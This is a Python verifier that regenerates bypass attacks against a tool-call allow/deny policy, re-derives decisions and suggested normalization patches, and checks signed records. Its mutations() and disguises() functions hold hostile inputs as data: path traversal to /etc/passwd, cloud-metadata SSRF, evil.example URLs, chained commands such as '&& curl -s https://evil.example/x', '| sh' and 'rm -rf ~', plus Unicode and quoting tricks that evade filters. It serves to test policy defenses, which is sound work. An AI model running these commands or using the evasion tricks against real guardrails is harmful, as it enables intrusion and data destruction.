#!/usr/bin/env python3
"""REDTEAM KEYSTONE clean-room verifier: regenerate the attacks and re-derive every decision and the patch, no CAIN code.

A second, independent implementation of the rules written down in keystone/redteam.py's docstring. It is used twice:

  1. as the PROVER: the service runs `derive(spec)` here, in a sandbox, and signs a record as PROVED only when this
     file and the engine reach exactly the same attacks, decisions, outcomes, patch and verdict;
  2. by an auditor, offline:

         pip install cryptography
         python3 redteam_verify.py record*.json --pinned-pub <b64>    # key fetched from the issuer yourself
         python3 redteam_verify.py record*.json --pinned-fingerprint SHA256:<hex>

     For each record: record hash, Ed25519 signature against the pinned key, chain link to the previous record,
     input/derivation digests, then the full re-derivation from the embedded input. Exit 0 only when all pass.

Only the standard library is needed to re-derive; `cryptography` is imported only to check signatures.
"""
from __future__ import annotations

import base64
import glob
import hashlib
import itertools
import json
import posixpath
import re
import sys
import unicodedata
import urllib.parse

ALL = ["decode", "unicode", "path", "url", "shell", "sql"]
FILLERS = {"\u034f", "\u115f", "\u1160", "\u3164", "\uffa0"}   # invisible, but not category Cf
SEPARATORS = re.compile(r"\|\||&&|[;|&\n]")
FORBIDDEN_IN_ALLOWED_CMD = ("$(", "`", ">", "<")


# ------------------------------------------------------------------------------------------------ meaning of a value

def percent_decode(text):
    rounds = 0
    while rounds < 4:
        nxt = urllib.parse.unquote(text)
        if nxt == text:
            return text
        text, rounds = nxt, rounds + 1
    return text


def resolve_path(text):
    text = text.replace("\\", "/")
    nul = text.find("\x00")
    if nul >= 0:
        text = text[:nul]
    if text == "":
        return text
    out = posixpath.normpath(text)
    while out.startswith("//"):
        out = out[1:]
    # the process's view of / through procfs is / again
    while True:
        parts = out.split("/")
        if len(parts) >= 4 and parts[0] == "" and parts[1] == "proc" and parts[3] == "root" and \
                (parts[2] in ("self", "thread-self") or parts[2].isdigit() and parts[2].isascii()):
            out = "/" + "/".join(parts[4:])
            continue
        return out


def strip_sql(text):
    # MySQL executes /*!NNNNN ... */ and reads /*+ ... */ hints: keep what is inside them, drop real comments
    text = re.sub(r"/\*[!+][0-9]*(.*?)\*/", lambda m: " %s " % m.group(1), text, flags=re.DOTALL)
    text = re.sub(r"/\*.*?\*/", "", text, flags=re.DOTALL)
    text = re.sub(r"--[^\n]*", "", text)
    return " ".join(text.split()).casefold() if text.strip() else ""


def meaning(value, kind, on):
    if kind in ("path", "url") and "decode" in on:
        value = percent_decode(value)
    if "unicode" in on:
        kept = []
        for c in unicodedata.normalize("NFKC", value):
            cp = ord(c)
            if 0xE0020 <= cp <= 0xE007E:          # tag characters smuggle ASCII: read them as the letters
                kept.append(chr(cp - 0xE0000))
            elif unicodedata.category(c) == "Cf" or c in FILLERS:
                continue
            else:
                kept.append(c)
        value = "".join(kept)
    if kind == "path" and "path" in on:
        value = resolve_path(value)
    if kind == "sql" and "sql" in on:
        value = strip_sql(value)
    return value


def url_parts(text):
    try:
        parts = urllib.parse.urlsplit(text)
        port = parts.port
    except ValueError:
        return None
    raw_path = parts.path if parts.path else "/"
    norm = resolve_path(raw_path)
    if norm == "":
        norm = "/"
    if raw_path[-1:] == "/" and norm != "/":
        norm = norm + "/"
    host = parts.hostname or ""
    while host.endswith("."):
        host = host[:-1]
    return {"scheme": parts.scheme.lower(), "host": ip_literal(host), "port": port, "path": norm, "query": parts.query}


def ip_literal(host):
    """One spelling per IP address: whatever inet_aton accepts as IPv4, and IPv4-mapped IPv6, becomes dotted quad."""
    import ipaddress
    import socket
    host = host.lower()
    if host and host[0].isdigit() and set(host) <= set("0123456789abcdefx."):
        try:
            return socket.inet_ntoa(socket.inet_aton(host))
        except OSError:
            return host
    if ":" in host:
        try:
            addr = ipaddress.ip_address(host)
        except ValueError:
            return host
        mapped = getattr(addr, "ipv4_mapped", None)
        return str(mapped) if mapped else str(addr)
    return host


ANSI = re.compile(r"\$'((?:[^'\\]|\\.)*)'")


def unescape_ansi(body):
    res, i = "", 0
    while i < len(body):
        if body[i] == "\\" and i + 1 < len(body):
            hexm = re.match(r"x([0-9a-fA-F]{1,2})", body[i + 1:])
            octm = re.match(r"[0-7]{1,3}", body[i + 1:])
            if hexm:
                res += chr(int(hexm.group(1), 16))
                i += 1 + hexm.end()
            elif octm:
                res += chr(int(octm.group(0), 8))
                i += 1 + octm.end()
            else:
                res += {"n": "\n", "t": "\t", "r": "\r"}.get(body[i + 1], body[i + 1])
                i += 2
        else:
            res += body[i]
            i += 1
    return res


def unquote_shell(value):
    value = ANSI.sub(lambda m: unescape_ansi(m.group(1)), value)
    for q in ("'", '"', "\\"):
        value = value.replace(q, "")
    return value


def naive_host(text):
    marker = text.find("://")
    if marker < 0:
        return None
    rest = text[marker + 3:]
    cut = len(rest)
    for ch in "/?#":
        j = rest.find(ch)
        if 0 <= j < cut:
            cut = j
    return rest[:cut].split(":")[0]


# ------------------------------------------------------------------------------------------------ matching

def simple(op, want, got, ignore_case):
    if ignore_case:
        got = got.casefold()
        if isinstance(want, list):
            want = [w.casefold() for w in want]
        elif op != "regex":
            want = want.casefold()
    if op == "regex":
        return re.search(want, got, re.IGNORECASE if ignore_case else 0) is not None
    table = {"prefix": lambda: got.startswith(want), "equals": lambda: got == want,
             "contains": lambda: want in got, "in": lambda: got in want}
    return table[op]() if op in table else False


def holds(matcher, value, on, effect):
    if not isinstance(value, str):
        return False
    kind = matcher["kind"]
    (op, want), = [(k, v) for k, v in matcher.items() if k != "kind"]
    value = meaning(value, kind, on)
    if kind == "url" and "url" in on:
        u = url_parts(value)
        if u is None:
            return False
        if op == "host_in":
            return u["host"] in set(ip_literal(h.lower().rstrip(".")) for h in want)
        if op == "prefix":
            w = url_parts(want)
            if w is None:
                return False
            same_origin = (u["scheme"], u["host"], u["port"]) == (w["scheme"], w["host"], w["port"])
            return same_origin and u["path"].startswith(w["path"])
        text = u["scheme"] + "://" + u["host"] + (":" + str(u["port"]) if u["port"] else "") + u["path"]
        if u["query"]:
            text += "?" + u["query"]
        return simple(op, want, text, False)
    if kind == "url" and op == "host_in":
        h = naive_host(value)
        return h is not None and h in want
    if kind == "cmd" and "shell" in on:
        plain = unquote_shell(value)
        pieces = [p.strip() for p in SEPARATORS.split(plain)]
        pieces = [p for p in pieces if p]
        if effect == "deny":
            if "$(" in value or "`" in value or "<(" in value:
                return True     # produced at run time: cannot be checked, so treated as the denied command
            return simple(op, want, value, False) or simple(op, want, plain, False) or \
                any(simple(op, want, p, False) for p in pieces)
        for bad in FORBIDDEN_IN_ALLOWED_CMD:
            if bad in value:
                return False
        if not pieces:
            return False
        return all(simple(op, want, p, False) for p in pieces)
    return simple(op, want, value, kind == "sql" and "sql" in on)


def matches(rule, call, on):
    if rule["tool"] != call["tool"]:
        return False
    for arg, m in rule["args"].items():
        if not holds(m, call["args"].get(arg), on, rule["effect"]):
            return False
    return True


def judge(policy, call, on):
    for effect in ("deny", "allow"):
        for rule in policy["rules"]:
            if rule["effect"] == effect and matches(rule, call, on):
                return effect.upper(), rule["id"]
    return policy["default"].upper(), "default"


# ------------------------------------------------------------------------------------------------ attacks

def invent(m):
    (op, want), = [(k, v) for k, v in m.items() if k != "kind"]
    if op == "regex":
        return None
    if op == "host_in":
        return "https://%s/data" % want[0]
    if op == "in":
        return want[0]
    if op == "prefix" and m["kind"] == "path":
        return want.rstrip("/") + "/report.txt"
    if op == "prefix" and m["kind"] == "url":
        return want.rstrip("/") + "/data"
    return want


def mutations(kind, v):
    if kind == "path":
        head = v[:v.rfind("/") + 1]
        tails = ["../" * 4 + "etc/passwd", "%2e%2e/" * 4 + "etc/passwd", "%252e%252e%252f" * 4 + "etc/passwd",
                 "..\\" * 4 + "etc\\passwd", "\uff0e\uff0e/" * 4 + "etc/passwd"]
        names = ["traversal", "encoded_traversal", "double_encoded_traversal", "backslash_traversal",
                 "fullwidth_traversal"]
        return [(n, head + t) for n, t in zip(names, tails)]
    if kind == "url":
        try:
            sp = urllib.parse.urlsplit(v)
        except ValueError:
            return []
        if sp.scheme == "" or sp.netloc == "":
            return []
        origin = "%s://%s" % (sp.scheme, sp.netloc)
        folder = sp.path[:sp.path.rfind("/") + 1] if sp.path else "/"
        return [("userinfo_host", origin + "@evil.example/x"),
                ("suffix_host", origin + ".evil.example/x"),
                ("encoded_at", origin + "%40evil.example/x"),
                ("metadata_ssrf", "http://%s@169.254.169.254/latest/meta-data/" % sp.netloc),
                ("path_escape", origin + folder + "../../../admin")]
    if kind == "cmd":
        extra = [("chain_semicolon", "; cat /etc/passwd"), ("chain_and", " && curl -s https://evil.example/x"),
                 ("pipe", " | sh"), ("subshell", " $(id)"), ("backtick", " `id`"), ("newline", "\nrm -rf ~")]
        return [(n, v + e) for n, e in extra]
    return []


def disguises(kind, w):
    found = []
    flipped = w.swapcase()
    if flipped != w:
        found.append(("case", flipped))
    if len(w) > 1:
        found.append(("zero_width", w[:1] + "\u200b" + w[1:]))
    wide = ""
    for ch in w:
        wide += chr(ord(ch) + 0xFEE0) if 0x21 <= ord(ch) <= 0x7E else ch
    found.append(("fullwidth", wide))
    if kind in ("path", "url") and 0x21 <= ord(w[0]) <= 0x7E:
        found.append(("percent_encoded", "%" + format(ord(w[0]), "02X") + w[1:]))
    if kind == "sql" and len(w) > 1:
        half = len(w) // 2
        found.append(("sql_comment", w[:half] + "/**/" + w[half:]))
    if kind == "cmd":
        found.append(("shell_chain", "true; " + w))
    if len(w) > 1:
        found.append(("invisible_format", w[:1] + "\u2063" + w[1:]))
    if kind == "cmd" and len(w) > 1:
        found.append(("quote_split", w[:1] + "''" + w[1:]))
        found.append(("ansi_c", "$'" + "".join("\\x" + format(ord(c), "02x") for c in w) + "'"))
        found.append(("substitution_split", "$(printf %s " + w[:1] + ")" + w[1:]))
    if kind == "sql":
        found.append(("versioned_comment", "/*!50000" + w.swapcase() + "*/"))
    if kind == "path" and w[:1] == "/":
        found.append(("proc_root", "/proc/self/root" + w + ("x" if w[-1:] == "/" else "")))
    return found


def ip_spellings(host):
    parts = host.split(".")
    if len(parts) != 4 or not all(p.isdigit() and p.isascii() and 1 <= len(p) <= 3 and int(p) <= 255 for p in parts):
        return []
    nums = [int(p) for p in parts]
    whole = nums[0] * 256 ** 3 + nums[1] * 256 ** 2 + nums[2] * 256 + nums[3]
    return [("decimal_ip", "http://%d/x" % whole),
            ("hex_ip", "http://" + ".".join("0x" + format(n, "02x") for n in nums) + "/x"),
            ("mapped_ipv6", "http://[::ffff:%s]/x" % host)]


def generate(spec):
    policy, made = spec["policy"], []
    for rule in policy["rules"]:
        if not rule["args"]:
            continue
        if rule["effect"] == "allow":
            seed = None
            for c in spec["must_allow"]:
                if c["tool"] == rule["tool"] and matches(rule, c, ALL):
                    seed = dict(c["args"])
                    break
            if seed is None:
                seed = {}
                for a, m in rule["args"].items():
                    seed[a] = invent(m)
                if None in seed.values():
                    continue
            for a in sorted(rule["args"]):
                for fam, val in mutations(rule["args"][a]["kind"], seed[a]):
                    args = dict(seed)
                    args[a] = val
                    made.append(("%s/%s/%s" % (rule["id"], a, fam), {"tool": rule["tool"], "args": args}, False))
            continue
        carrier = {}
        for c in spec["must_allow"]:
            if c["tool"] == rule["tool"]:
                carrier = dict(c["args"])
                break
        ok = True
        for a, m in rule["args"].items():
            if a not in carrier:
                carrier[a] = invent(m)
                if carrier[a] is None:
                    ok = False
                    break
        if not ok:
            continue
        for a in sorted(rule["args"]):
            m = rule["args"][a]
            ops = [k for k in m if k != "kind"]
            if ops[0] == "host_in" and m["kind"] == "url":
                for fam, val in ip_spellings(m["host_in"][0]):
                    args = dict(carrier)
                    args[a] = val
                    made.append(("%s/%s/%s" % (rule["id"], a, fam), {"tool": rule["tool"], "args": args}, False))
                continue
            if ops[0] not in ("contains", "equals", "prefix"):
                continue
            host = carrier[a]
            for fam, word in disguises(m["kind"], m[ops[0]]):
                if ops[0] == "contains" and m["kind"] == "path":
                    val = host[:host.rfind("/") + 1] + word
                elif ops[0] == "contains":
                    val = "%s %s" % (host, word)
                else:
                    val = word
                args = dict(carrier)
                args[a] = val
                made.append(("%s/%s/%s" % (rule["id"], a, fam), {"tool": rule["tool"], "args": args}, False))
    for i, c in enumerate(spec["must_deny"]):
        made.append(("must_deny/%d" % i, {"tool": c["tool"], "args": dict(c["args"])}, True))
    return made


# ------------------------------------------------------------------------------------------------ derive

def derive(spec):
    policy = spec["policy"]
    start = list(policy["normalize"])
    made = generate(spec)
    truth = [judge(policy, call, ALL)[0] for _, call, _ in made]

    def leaks(on):
        n = 0
        for (_, call, _), t in zip(made, truth):
            if t == "DENY" and judge(policy, call, on)[0] == "ALLOW":
                n += 1
        return n

    def kept(on):
        return [judge(policy, c, on)[0] == "ALLOW" for c in spec["must_allow"]]

    uses = {"decode": ("path", "url"), "unicode": ("path", "url", "cmd", "sql", "text"), "path": ("path",),
            "url": ("url",), "shell": ("cmd",), "sql": ("sql",)}
    present = set()
    for rule in policy["rules"]:
        for m in rule["args"].values():
            present.add(m["kind"])
    pool = [n for n in ALL if n not in start and any(k in present for k in uses[n])]
    reference = kept(start)
    chosen, best = None, None
    for size in range(len(pool) + 1):
        for combo in itertools.combinations(pool, size):
            on = [n for n in ALL if n in start or n in combo]
            if any(r and not k for r, k in zip(reference, kept(on))):
                continue
            score = (leaks(on), size, tuple(sorted(ALL.index(n) for n in combo)))
            if best is None or score < best:
                best, chosen = score, on
    final = [n for n in ALL if n in chosen]

    rows, gap, breach, still = [], False, False, 0
    for (ident, call, is_user), t in zip(made, truth):
        g, by = judge(policy, call, start)
        after = judge(policy, call, final)[0]
        if g == "ALLOW" and t == "DENY":
            res = "BREACH"
            breach = True
        elif g == "ALLOW":
            res = "POLICY_GAP" if is_user else "NO_EFFECT"
            gap = gap or is_user
        elif t == "DENY":
            res = "HELD"
        else:
            res = "OVERBLOCK"
        if t == "DENY" and after == "ALLOW":
            still += 1
        rows.append([ident, g, by, t, res, after])
    before_ok, after_ok = kept(start), kept(final)
    benign = [[i, "ALLOW" if b else "DENY", "ALLOW" if a else "DENY"] for i, (b, a) in enumerate(zip(before_ok, after_ok))]
    regressed = any(b and not a for b, a in zip(before_ok, after_ok))
    if not breach and not gap:
        verdict = "HELD"
    elif still == 0 and not gap and not regressed:
        verdict = "PATCHED"
    else:
        verdict = "PARTIAL"
    return {"verdict": verdict, "attacks": rows, "add_normalize": [n for n in final if n not in start],
            "must_allow": benign}


# ------------------------------------------------------------------------------------------------ offline records

def _canon(obj):
    return json.dumps(obj, sort_keys=True, separators=(",", ":"), ensure_ascii=False).encode()


def _sha(data):
    return hashlib.sha256(data.encode() if isinstance(data, str) else data).hexdigest()


def check_record(rec, pinned_b64, prev=None):
    from cryptography.exceptions import InvalidSignature
    from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey
    pub = Ed25519PublicKey.from_public_bytes(base64.b64decode(pinned_b64))
    problems = []
    if rec.get("schema") != "cain42.keystone.redteam-patch.v1":
        problems.append("not a REDTEAM KEYSTONE record")
    body = dict((k, v) for k, v in rec.items() if k not in ("record_hash", "signature_b64", "public_key_b64"))
    if _sha(_canon(body)) != rec.get("record_hash"):
        problems.append("content does not match record_hash")
    try:
        pub.verify(base64.b64decode(rec.get("signature_b64", "")), str(rec.get("record_hash", "")).encode())
    except (InvalidSignature, ValueError):
        problems.append("signature does not verify against the pinned key")
    if prev is not None and rec.get("prev_record_hash") != prev.get("record_hash"):
        problems.append("prev_record_hash does not link to the previous record")
    src, der = rec.get("original_code"), rec.get("fixed_code")
    if not isinstance(src, str) or not isinstance(der, str):
        return problems + ["original_code / fixed_code missing"]
    if _sha(src) != rec.get("original_sha256") or _sha(der) != rec.get("fixed_sha256"):
        problems.append("input or derivation does not match its digest")
    try:
        mine = derive(json.loads(src))
        if _canon(mine).decode() != der:
            problems.append("independent re-derivation differs from the signed derivation")
        if mine["verdict"] != rec.get("verdict"):
            problems.append("record says %s, the input gives %s" % (rec.get("verdict"), mine["verdict"]))
    except Exception as e:  # noqa: BLE001 - an input this verifier cannot re-run is a failed check
        problems.append("cannot re-derive from the embedded input (%s)" % type(e).__name__)
    return problems


def main(argv=None):
    args = list(sys.argv[1:] if argv is None else argv)
    pinned = None
    if "--pinned-pub" in args:
        i = args.index("--pinned-pub")
        pinned = args[i + 1]
        del args[i:i + 2]
    pinned_fp = None
    if "--pinned-fingerprint" in args:
        i = args.index("--pinned-fingerprint")
        pinned_fp = args[i + 1]
        del args[i:i + 2]
    files = args or sorted(glob.glob("record*.json"))
    if not files:
        print("no record files (pass record.json, or run where record*.json exist)")
        return 2
    if pinned is None:
        # Never trust the bundle's own public_key.json on its own: whoever hands over the bundle could have swapped
        # it and re-signed every record (audit F-1, 2026-10-23). Accept it only if it matches a fingerprint the
        # auditor pinned out of band.
        bundled = None
        try:
            with open("public_key.json", encoding="utf-8") as fh:
                bundled = json.load(fh)["public_key_b64"]
        except (OSError, KeyError, ValueError):
            pass
        claimed = ("SHA256:" + hashlib.sha256(base64.b64decode(bundled)).hexdigest()) if bundled else None
        want = (pinned_fp or "").strip().lower()
        want = want if not want or want.startswith("sha256:") else "sha256:" + want
        if want and claimed and len(want) >= len("sha256:") + 32 and claimed.lower().startswith(want):
            pinned = bundled
        else:
            print("NOT VERIFIED: no pinned key. Pass --pinned-pub <b64> fetched from the issuer yourself, or "
                  "--pinned-fingerprint SHA256:<hex>. The bundle claims %s." % (claimed or "no key"))
            print("RESULT: NOT VERIFIED (no trusted key)")
            return 3
    all_ok, prev = True, None
    for f in files:
        try:
            with open(f, encoding="utf-8") as fh:
                rec = json.load(fh)
        except (OSError, ValueError) as e:
            print("INVALID %s (unreadable: %s)" % (f, e))
            all_ok, prev = False, None
            continue
        problems = check_record(rec, pinned, prev)
        print("%s %s  verdict=%s  proof=%s" % ("VALID  " if not problems else "INVALID", f, rec.get("verdict"),
                                              (rec.get("proof") or {}).get("status")))
        for p in problems:
            print("   - " + p)
        all_ok = all_ok and not problems
        prev = rec
    print("RESULT:", "ALL RECORDS RE-DERIVED AND VALID" if all_ok else "TAMPERED OR INVALID")
    return 0 if all_ok else 1


if __name__ == "__main__":
    raise SystemExit(main())